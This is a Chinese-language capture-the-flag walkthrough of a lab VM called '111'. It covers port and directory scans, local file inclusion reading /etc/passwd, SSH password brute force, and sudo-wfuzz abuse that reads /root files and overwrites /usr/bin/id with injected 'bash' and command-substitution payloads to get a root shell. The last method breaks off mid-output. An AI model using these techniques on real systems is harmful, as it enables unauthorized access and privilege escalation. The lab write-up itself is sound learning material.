

111

端口扫描

```
(root@kali)-[~]
└─# nmap 192.168.56.124
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 11:12 CST
Nmap scan report for 192.168.56.124
Host is up (0.00021s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:EA:19:E8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
```

80/tcp 目录扫描

```
bash
└─(root@kali)-[~]
gobuster dir -u http://192.168.56.124 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
php,html,txt,zip,bak,js,py,sh -b 404,403 -t 50-t
50=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://192.168.56.124
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.8
[+] Extensions: js,py,sh,php,html,txt,zip,bak
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/index.html (Status: 200) [Size: 20592]
```

```
/file.php          (Status: 200) [Size: 0]
Progress: 1985022 / 1985022 (100.00%)
=====
Finished
```

首页是一个rockyou.txt, 然后还有一个 file.php, 测试一下发现可疑文件读取

```
(root@kali)-[~]
└─# wfuzz -z file,/usr/share/wordlists/dirb/common.txt --hh 0
"http://192.168.56.124/file.php?FUZZ=/etc/passwd"

/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://192.168.56.124/file.php?FUZZ=/etc/passwd
Total requests: 4614

=====
ID           Response   Lines   Word      Chars      Payload
=====
000001601:   200           26 L     38 W       1386 Ch    "file"

Total time: 0
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 0
```

http://192.168.56.124/file.php?file=/etc/passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
```

```

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
tao:x:1000:1000:,,,:/home/tao:/bin/bash

```

发现有个 tao 用户，根据首页提示，爆破一下 ssh

```

└─(root@kali)-[~]
└─# hydra -t 4 -l tao -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.124
ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-08
11:36:31
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries
(l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.56.124:22/
[22][ssh] host: 192.168.56.124 login: tao password: rockyou
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-08
11:36:41

```

拿到密码 rockyou 登入一下即可

```

└─(root@kali)-[~]
└─# sshpass -p 'rockyou' ssh -o StrictHostKeyChecking=no tao@192.168.56.124
Linux 111 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;

```

the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

```
tao@111:~$ ls
user.txt
tao@111:~$ cat user.txt
flag{user-21747e1ca09bfcc4f2551263db0f3dff}
```

提权

sudo 发现有个 /usr/bin/wfuzz, 还有一个 /usr/bin/id

```
tao@111:/tmp$ sudo -l
Matching Defaults entries for tao on 111:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
    (ALL) NOPASSWD: /usr/bin/wfuzz
    (ALL) NOPASSWD: /usr/bin/id
tao@111:/tmp$
```

wfuzz 是一个 Web 模糊测试工具, 它有一个 -z file,<filename> 参数可以从文件中读取内容作为 payload。

- f-z file,/path/to/wordlist # 从文件读取
 - z range,1-100 # 数字范围
 - z list,admin-root-test # 直接指定列表 (-分隔)
 - z dirwalk,/path/to/dir # 遍历目录文件名ile,/path/to/file - 从文件逐行读取内容作为 payload
- -w wordlist - -z file,wordlist 的简写
- -u url - 指定目标 URL, FUZZ 是占位符
- -f filename - 保存结果到文件

```
tao@111:/tmp$ sudo /usr/bin/wfuzz -z file,/root/root.txt http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
```

```
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****
```

```
Target: http://localhost/FUZZ
Total requests: 1
```

```
=====
ID           Response  Lines   Word     Chars    Payload
=====
```

ID	Response	Lines	Word	Chars	Payload
000000001:	404	9 L	31 W	271 Ch	"flag{root-9bbd7af2a042a901b92dc203b3896621}"

```
Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
```

root shell

使用 wfuzz 的 dirwalk payload 列出 /root 目录下的所有文件。

```
tao@111:/tmp$ sudo /usr/bin/wfuzz -z dirwalk,/root http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
```

```
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****
```

```
Target: http://localhost/FUZZ
Total requests: <<unknown>>
```

```
=====
ID           Response  Lines   Word     Chars    Payload
=====
```

ID	Response	Lines	Word	Chars	Payload
000000001:	404	9 L	31 W	271 Ch	"root.txt"
000000003:	404	9 L	31 W	271 Ch	".bash_history"
000000007:	404	9 L	31 W	271 Ch	".config/wfuzz/wfuzz.ini"
000000015:	404	9 L	31 W	271 Ch	".cache/pip/http/1/7/a/0/0/17a00b7d3d477c8a22aa39a9508b233284b46efc53de28182f318668"

```

000000030:  404      9 L      31 W      271 Ch
".cache/pip/http/e/7/3/a/6/e73a6e41b03c7c95b824809039750f405ec68e352bfc704687c51
09d"
000000025:  404      9 L      31 W      271 Ch
".cache/pip/http/b/f/c/0/b/bfc0b43a4400f534ff9a280c6f657ec0b0275b67626501cdfce57
e01"
000000024:  404      9 L      31 W      271 Ch
".cache/pip/http/b/9/e/e/9/b9ee93e1a8f9ef069fbcf4ea8935f3ac4f1a89ee032ca6417bf28
a23"
000000023:  404      9 L      31 W      271 Ch
".cache/pip/http/4/e/3/9/6/4e396e277f9617af2ce0f28835feffab2e2676b047f05d194319e
1d1"
000000022:  404      9 L      31 W      271 Ch
".cache/pip/http/4/1/0/3/3/4103311c1d9d17e21fad7003162cb97a7e2981a218f2a5879b500
ed1"
000000021:  404      9 L      31 W      271 Ch
".cache/pip/http/3/0/2/8/4/30284d9d3a9407219fe08ff050f83ee83b02be93dd4fa672b47ed
58a"
000000020:  404      9 L      31 W      271 Ch
".cache/pip/http/3/6/7/d/8/367d8e934dbaf230271bc0af12ab4bc89a179c0ba2a6bac48733f
231"
000000019:  404      9 L      31 W      271 Ch
".cache/pip/http/3/4/1/a/7/341a77bebe789abb6e3534e6d8beed77deef5ef3e1d91df5f6312
8f4"
000000018:  404      9 L      31 W      271 Ch
".cache/pip/http/9/3/8/7/f/9387f53e6dc2c3be3fc7820d1894614f7db8fa35447bf33b2906c
5b6"
000000017:  404      9 L      31 W      271 Ch
".cache/pip/http/9/3/8/2/8/93828b763de49c6eb09de70b828428ebacf8d9312951de479e588
aae"
000000014:  404      9 L      31 W      271 Ch
".cache/pip/http/1/1/3/8/f/1138f84c189389db471f8ac4f80339cf8398960a0abfbb77f3735
e2d"
000000016:  404      9 L      31 W      271 Ch
".cache/pip/http/1/a/a/8/f/1aa8f89648607779e9c532bf86ea4d375f9aabdb9c46b7c5fa8c5
8e1"
000000013:  404      9 L      31 W      271 Ch
".cache/pip/http/1/d/2/5/2/1d252bf9aee9bac57ea1d1cc35830636720b0172cf45dc5819b70
bb3"
000000012:  404      9 L      31 W      271 Ch
".cache/pip/http/d/1/8/e/d/d18edad22b66b383f8e4117be11392958bd1d7e8ad7596609e26a
24b"
000000011:  404      9 L      31 W      271 Ch      ".cache/dconf/user"
000000010:  404      9 L      31 W      271 Ch
".cache/dirb/resume/dirlist.dump"
000000009:  404      9 L      31 W      271 Ch
".cache/dirb/resume/wordlist.dump"
000000006:  404      9 L      31 W      271 Ch      ".viminfo"

```

```

000000008:  404      9 L      31 W      271 Ch
".cache/dirb/resume/options.dump"
000000005:  404      9 L      31 W      271 Ch      ".profile"
000000002:  404      9 L      31 W      271 Ch      ".bashrc"
000000004:  404      9 L      31 W      271 Ch      "111.txt"
000000032:  404      9 L      31 W      271 Ch
".cache/pip/http/5/d/0/0/9/5d0090234e270f50b1f84e9b0f79c92188283fbb525949d3e300c
e67"
000000034:  404      9 L      31 W      271 Ch
".cache/pip/http/6/d/9/6/0/6d960331511d61b98790174c411c0f05e0ede43a03570489fba4a
e62"
000000038:  404      9 L      31 W      271 Ch
".cache/pip/http/0/4/a/4/9/04a4966fa9e3eb5ad98df027d68617c111a22275e5d9c1da333b3
16c"
000000040:  404      9 L      31 W      271 Ch
".cache/pip/http/7/3/5/0/0/735003931d2553b5cc80529e3cbcc47e6d44c9c3e11ac61df0643
a42"
000000037:  404      9 L      31 W      271 Ch
".cache/pip/http/0/3/2/6/6/03266126f9601320518e78b79c97594e1bba6e34a0d32136318b1
438"
000000039:  404      9 L      31 W      271 Ch
".cache/pip/http/0/b/4/9/3/0b493b2927804ba817c1fe92b9a0af513b3f5ef6d148341ddc2b6
7e3"
000000036:  404      9 L      31 W      271 Ch
".cache/pip/http/0/9/f/f/8/09ff8a33c5cd467df0986647f186c90190e64e9203de9ebbe38c2
879"
000000033:  404      9 L      31 W      271 Ch
".cache/pip/http/5/8/8/6/e/5886e077d16f14ed7680d6e7a4fb106fcd31161104d6b4eff92bf
d8a"
000000035:  404      9 L      31 W      271 Ch
".cache/pip/http/6/2/4/f/9/624f905486023e1685852da235774e882eef9e857b85e08d4c52e
fa1"
000000041:  404      9 L      31 W      271 Ch
".cache/pip/http/c/4/d/0/c/c4d0c1fa6f821d097dfe55842e8c7a9b72ee029152ea57fe1d6fc
c44"
000000042:  404      9 L      31 W      271 Ch
".cache/pip/http/a/f/0/6/9/af069087a1e2e2570c382960fbaf078135ade64638466820a45ce
88a"
000000043:  404      9 L      31 W      271 Ch
".cache/pip/http/8/8/2/b/e/882bea5de8ff4eb23d3833a669f79b02fc31e81ede3516dedbf87
5fc"
000000044:  404      9 L      31 W      271 Ch      ".gnupg/random_seed"
000000046:  404      9 L      31 W      271 Ch
".gnupg/.%23lk0x0000555a64058230.PyCrt.1326"
000000045:  404      9 L      31 W      271 Ch
".gnupg/.%23lk0x000055b1f0fb05d0.PyCrt.526"
000000047:  404      9 L      31 W      271 Ch      ".gnupg/pubring.kbx"
000000031:  404      9 L      31 W      271 Ch

```

```

".cache/pip/http/2/2/4/1/6/22416a11fef7c5c8481bb3b497f6f622266ed7eef3dabf6c35dd9
048"
000000029:  404          9 L      31 W      271 Ch
".cache/pip/http/e/9/2/e/e/e92ee8e2f3eb5dd5f066243297e42b1618de6f4f993257ba04c0d
7d5"
000000028:  404          9 L      31 W      271 Ch
".cache/pip/http/f/2/3/c/4/f23c4ecd06327e0920c5507953e57c363bbb2783b1ac26e03d7de
19e"
000000027:  404          9 L      31 W      271 Ch
".cache/pip/http/b/a/e/e/1/baee168c458b0e172d2fc3f48ab9c4abc630ab6b73cf85e2d366f
524"
000000026:  404          9 L      31 W      271 Ch
".cache/pip/http/b/a/b/a/6/baba6d53e30a0654cae426219333e0420e3e93638b136c189ed55
822"

Total time: 0
Processed Requests: 47
Filtered Requests: 0
Requests/sec.: 0

```

发现有个 111.txt 读取一下，拿到 root 密码

```

tao@111:/tmp$ sudo /usr/bin/wfuzz -z file,/root/111.txt http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://localhost/FUZZ
Total requests: 1

=====
ID          Response  Lines  Word    Chars   Payload
=====
000000001:  404          9 L    31 W    271 Ch  "q6I42RCMyMkDV45svyuF"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

```

ssh 即可

```
ssh root@192.168.56.124
# q6I42RCMyMkDV45svyuF
```

```
(root@kali)-[~]
# ssh root@192.168.56.124
root@192.168.56.124's password:
Linux 111 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan  7 06:53:59 2026 from 192.168.3.94
root@111:~# ls
111.txt  root.txt
root@111:~# cat root.txt
flag{root-9bbd7af2a042a901b92dc203b3896621}
root@111:~# id
uid=0(root) gid=0(root) groups=0(root)
root@111:~#
```

学习其他的提权方案

使用 **-f filename** - 保存结果到文件这个参数。

```
tao@111:/tmp$ sudo /usr/bin/wfuzz -z file,/root/111.txt -f 1.txt http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://localhost/FUZZ
Total requests: 1

=====
ID           Response  Lines  Word    Chars  Payload
=====
000000001:  404      9 L    31 W    271 Ch  "q6I42RCMyMkDV45svyuF"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
```

读取一下输出文件 1.txt

```

tao@111:/tmp$ cat 1.txt
Target: http://localhost/FUZZ
Total requests: 1
=====
ID      Response  Lines    Word      Chars      Request
=====
00001:  C=404      9 L      31 W      271 Ch     "q6I42RCMyMkDV45svyuF"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:/tmp$

```

方案一：111方案

利用 wfuzz 的 -f 参数覆盖 /usr/bin/id（可以用 sudo 执行的命令），通过 URL 参数中的换行符注入，在文件中写入 bash，从而将 /usr/bin/id 变成一个执行 bash 的脚本。

```

tao@111:~$ sudo /usr/bin/wfuzz -z file,/root/111.txt -f 1.txt
'http://localhost/FUZZ
> aaaa
> '

```

换行符注入

在 shell 中，当引号不闭合时按回车，shell 会等待继续输入，从而在字符串中插入真实的换行符：

```

tao@111:~$ sudo /usr/bin/wfuzz -z file,/root/111.txt -f 1.txt 'http://localhost/FUZZ
> aaaa
> '
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://localhost/FUZZ
aaaa

Total requests: 1

=====
ID      Response  Lines  Word    Chars    Payload
=====

GET /q6I42RCMyMkDV45svyuF
aaaa
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Wfuzz/3.1.0
Host: localhost

/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:88: UserWarning:Unhandled exception: list index out of range

Total time: 0.001844
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0.0

tao@111:~$ cat 1.txt
Target: http://localhost/FUZZ
aaaa

Total requests: 1

=====
ID      Response  Lines  Word    Chars    Request
=====

Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$

```

成功写入了预期的内容，然后利用这个点可以写入一个 shell 到 sudo 授权文件 /usr/bin/id 文件利用：

```

tao@111:~$ sudo /usr/bin/wfuzz -z file,/root/111.txt -f /usr/bin/id
'http://localhost/FUZZ
> bash
> '

tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
root@111:/home/tao# id
/usr/bin/id: line 1: Target:: command not found
root@111:/home/tao# ls
1.txt  user.txt
root@111:/home/tao# id
/usr/bin/id: line 1: Target:: command not found
root@111:/home/tao#

```

```

tao@111:~$ sudo /usr/bin/wfuzz -z file,/root/111.txt -f /usr/bin/id 'http://localhost/FUZZ
> bash
> '
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL s
ites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://localhost/FUZZ
bash

Total requests: 1

=====
ID      Response  Lines  Word      Chars      Payload
=====

GET /q6I42RCMyMkDV45svyuF
bash
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Wfuzz/3.1.0
Host: localhost

Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0

/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:88: UserWarning:Unhandled exception: list index out of range
tao@111:~$ cat /usr/bin/id
Target: http://localhost/FUZZ
bash

Total requests: 1

=====
ID      Response  Lines  Word      Chars      Request
=====

Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$
tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
root@111:/home/tao# id
/usr/bin/id: line 1: Target:: command not found
root@111:/home/tao# ls
1.txt  user.txt
root@111:/home/tao# id
/usr/bin/id: line 1: Target:: command not found
root@111:/home/tao#

```

这里 /usr/bin/id 明明是一个文件，为啥会拿到shell 呢？这里利用了无 shebang 文件的执行机制

```

用户执行: sudo /usr/bin/id
↓
sudo 以 root 权限调用 execve("/usr/bin/id")
↓
内核检查文件头
├─ ELF 魔数 (7f 45 4c 46)? → 否
├─ Shebang (#!)? → 否
└─ 返回 ENOEXEC
↓
sudo 的 shell 回退机制
↓
execve("/bin/sh", ["/bin/sh", "/usr/bin/id"])
↓
/bin/sh 逐行解析 /usr/bin/id
├─ Line 1: "Target: ..." → 命令不存在，报错继续
├─ Line 2: "bash" → 执行成功! 启动 bash
└─ Line 3+: 其他内容 → bash 已启动，不再解析

```



获得 root 权限的 bash shell

方案二：垃圾堆方案

垃圾堆方案：在脏数据里找到可控点，尝试闭合、破坏原有结构（引号）达到命令注入，或者在不能闭合破坏原有结构下，找到 shell 特性利用点如命令替换

分析日志结构可以发现可控点：payload 内容 q6l42RCMyMkDV45svyuF 出现在引号内。

```
Target: http://localhost/FUZZ
Total requests: 1
=====
ID      Response  Lines    Word      Chars      Request
=====
00001:  C=404      9 L      31 W      271 Ch     "q6l42RCMyMkDV45svyuF"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
```

方案一：引号闭合 + 命令注入

payload 被双引号包裹，尝试闭合引号并注入命令：

```
# 创建恶意 payload 文件
echo '";bash;"' > /tmp/evil.txt

# 覆盖 /usr/bin/id
sudo /usr/bin/wfuzz -z file,/tmp/evil.txt -f /usr/bin/id http://localhost/FUZZ

# 查看写入内容
cat /usr/bin/id

# 触发提权
sudo /usr/bin/id
```

Shell 解析时会执行 bash。

```
tao@111:~$ echo '";bash;"' > /tmp/evil.txt
tao@111:~$ sudo /usr/bin/wfuzz -z file,/tmp/evil.txt -f /usr/bin/id
http://localhost/FUZZ
```

```
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
```

```
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****
```

Target: http://localhost/FUZZ

Total requests: 1

```
=====
ID          Response  Lines   Word      Chars      Payload
=====
000000001:   404           9 L      31 W      271 Ch     "";bash;""
```

Total time: 0

Processed Requests: 1

Filtered Requests: 0

Requests/sec.: 0

tao@111:~\$ cat /usr/bin/id

Target: http://localhost/FUZZ

Total requests: 1

```
=====
ID    Response  Lines   Word      Chars      Request
=====
00001:  C=404       9 L      31 W      271 Ch     "";bash;""
```

Total time: 0

Processed Requests: 1

Filtered Requests: 0

Requests/sec.: 0

tao@111:~\$ sudo /usr/bin/id

/usr/bin/id: 1: /usr/bin/id: Target:: not found

/usr/bin/id: 2: /usr/bin/id: Total: not found

/usr/bin/id: 3: /usr/bin/id:

=====: not found

/usr/bin/id: 4: /usr/bin/id: ID: not found

/usr/bin/id: 5: /usr/bin/id:

=====: not found

/usr/bin/id: 6: /usr/bin/id: 00001:: not found

root@111:/home/tao# id

/usr/bin/id: line 1: Target:: command not found

/usr/bin/id: line 2: Total: command not found

/usr/bin/id: line 3:

=====: command not found

```

/usr/bin/id: line 4: ID: command not found
/usr/bin/id: line 5:
=====: command not found
/usr/bin/id: line 6: 00001:: command not found
root@111:/home/tao#

```

方案二：命令替换 \$()

```

# 创建 payload
echo '$(bash)' > /tmp/evil.txt

# 覆盖并触发
sudo /usr/bin/wfuzz -z file,/tmp/evil.txt -f /usr/bin/id http://localhost/FUZZ
sudo /usr/bin/id

```

```

tao@111:~$ echo '$(bash)' > /tmp/evil.txt
tao@111:~$ sudo /usr/bin/wfuzz -z file,/tmp/evil.txt -f /usr/bin/id http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://localhost/FUZZ
Total requests: 1

=====
ID          Response  Lines  Word    Chars  Payload
=====
000000001:  404         9 L    31 W    271 Ch  "$(bash)"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

tao@111:~$ cat /usr/bin/id
Target: http://localhost/FUZZ
Total requests: 1

=====
ID  Response  Lines  Word    Chars  Request
=====
00001:  C=404     9 L    31 W    271 Ch  "$(bash)"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
/usr/bin/id: 2: /usr/bin/id: Total: not found
/usr/bin/id: 3: /usr/bin/id: =====: not found
/usr/bin/id: 4: /usr/bin/id: ID: not found
/usr/bin/id: 5: /usr/bin/id: =====: not found
root@111:/home/tao#

```

方案三：反引号命令替换 ` `

```

# 创建 payload
echo '`bash`' > /tmp/evil.txt

# 覆盖并触发

```

```
sudo /usr/bin/wfuzz -z file,/tmp/evil.txt -f /usr/bin/id http://localhost/FUZZ
sudo /usr/bin/id
```

```
tao@111:~$ echo ``bash`` > /tmp/evil.txt
tao@111:~$ sudo /usr/bin/wfuzz -z file,/tmp/evil.txt -f /usr/bin/id http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://localhost/FUZZ
Total requests: 1

=====
ID           Response  Lines  Word    Chars   Payload
=====
000000001:   404        9 L     31 W     271 Ch  ``bash``

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
/usr/bin/id: 2: /usr/bin/id: Total: not found
/usr/bin/id: 3: /usr/bin/id: =====: not found
/usr/bin/id: 4: /usr/bin/id: ID: not found
/usr/bin/id: 5: /usr/bin/id: =====: not found
root@111:/home/tao#
```

方案四：换行 + 命令

```
# 创建包含换行的 payload
echo -e 'x"\nbash\n"y' > /tmp/evil.txt

# 覆盖并触发
sudo /usr/bin/wfuzz -z file,/tmp/evil.txt -f /usr/bin/id http://localhost/FUZZ
sudo /usr/bin/id
```

```

tao@111:~$ cat /tmp/evil.txt
x"
bash
"y
tao@111:~$ echo -e 'x"\nbash\n"y' > /tmp/evil.txt
tao@111:~$ cat /tmp/evil.txt
x"
bash
"y
tao@111:~$ sudo /usr/bin/wfuzz -z file,/tmp/evil.txt -f /usr/bin/id http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://localhost/FUZZ
Total requests: 3

=====
ID           Response  Lines  Word    Chars   Payload
=====
000000001:   404        9 L    31 W    271 Ch  "x"
000000003:   404        9 L    31 W    271 Ch  ""y"
000000002:   404        9 L    31 W    271 Ch  "bash"

Total time: 0
Processed Requests: 3
Filtered Requests: 0
Requests/sec.: 0

tao@111:~$ sudo /usr/bin/id
/usr/bin/id: 1: /usr/bin/id: Target:: not found
/usr/bin/id: 2: /usr/bin/id: Total: not found
/usr/bin/id: 3: /usr/bin/id: =====: not found
/usr/bin/id: 4: /usr/bin/id: ID: not found
/usr/bin/id: 5: /usr/bin/id: =====: not found
/usr/bin/id: 6: /usr/bin/id: 00001:: not found
/usr/bin/id: 8: /usr/bin/id: 00002:: not found
/usr/bin/id: 10: /usr/bin/id: Total: not found
/usr/bin/id: 11: /usr/bin/id: Processed: not found
/usr/bin/id: 12: /usr/bin/id: Filtered: not found
root@111:/home/tao#

```

方案三：ta0方案（路径解析利用）

```

tao@111:~$ sudo /usr/bin/wfuzz -z file,/root/111.txt -f /usr/bin/id http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://localhost/FUZZ
Total requests: 1

=====
ID           Response  Lines  Word    Chars   Payload
=====
000000001:   404        9 L    31 W    271 Ch  "q6I42RCMyMkDV45svyuF"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0

tao@111:~$ cat /usr/bin/id
Target: http://localhost/FUZZ
Total requests: 1

=====
ID           Response  Lines  Word    Chars   Request
=====
00001:   C=404        9 L    31 W    271 Ch  "q6I42RCMyMkDV45svyuF"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$

```

主要利用 **Requests/sec.:**

原理:

如果一行的"命令"里, 包含 / , shell 会把它当成一个路径去执行, 只要该路径对应的文件存。在且可执行, 就会尝试运行它, 可以在当前目录下 (一个你可控的目录) 构造出目录及可执行文件

因为 `Requests/sec.:` 包含 / , shell 会把它当作路径来查找

```
tao@111:~$ sudo -l
Matching Defaults entries for tao on 111:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
    (ALL) NOPASSWD: /usr/bin/wfuzz
    (ALL) NOPASSWD: /usr/bin/id
tao@111:~$ /usr/bin/id
uid=1000(tao) gid=1000(tao) groups=1000(tao)
tao@111:~$ sudo /usr/bin/wfuzz -z file,/root/111.txt -f /usr/bin/id
http://localhost/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://localhost/FUZZ
Total requests: 1

=====
ID          Response  Lines  Word    Chars    Payload
=====
000000001:  404          9 L    31 W    271 Ch   "q6I42RCMyMkDV45svyuF"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
tao@111:~$ cat /usr/bin/id
Target: http://localhost/FUZZ
Total requests: 1

=====
ID    Response  Lines  Word    Chars    Request
=====
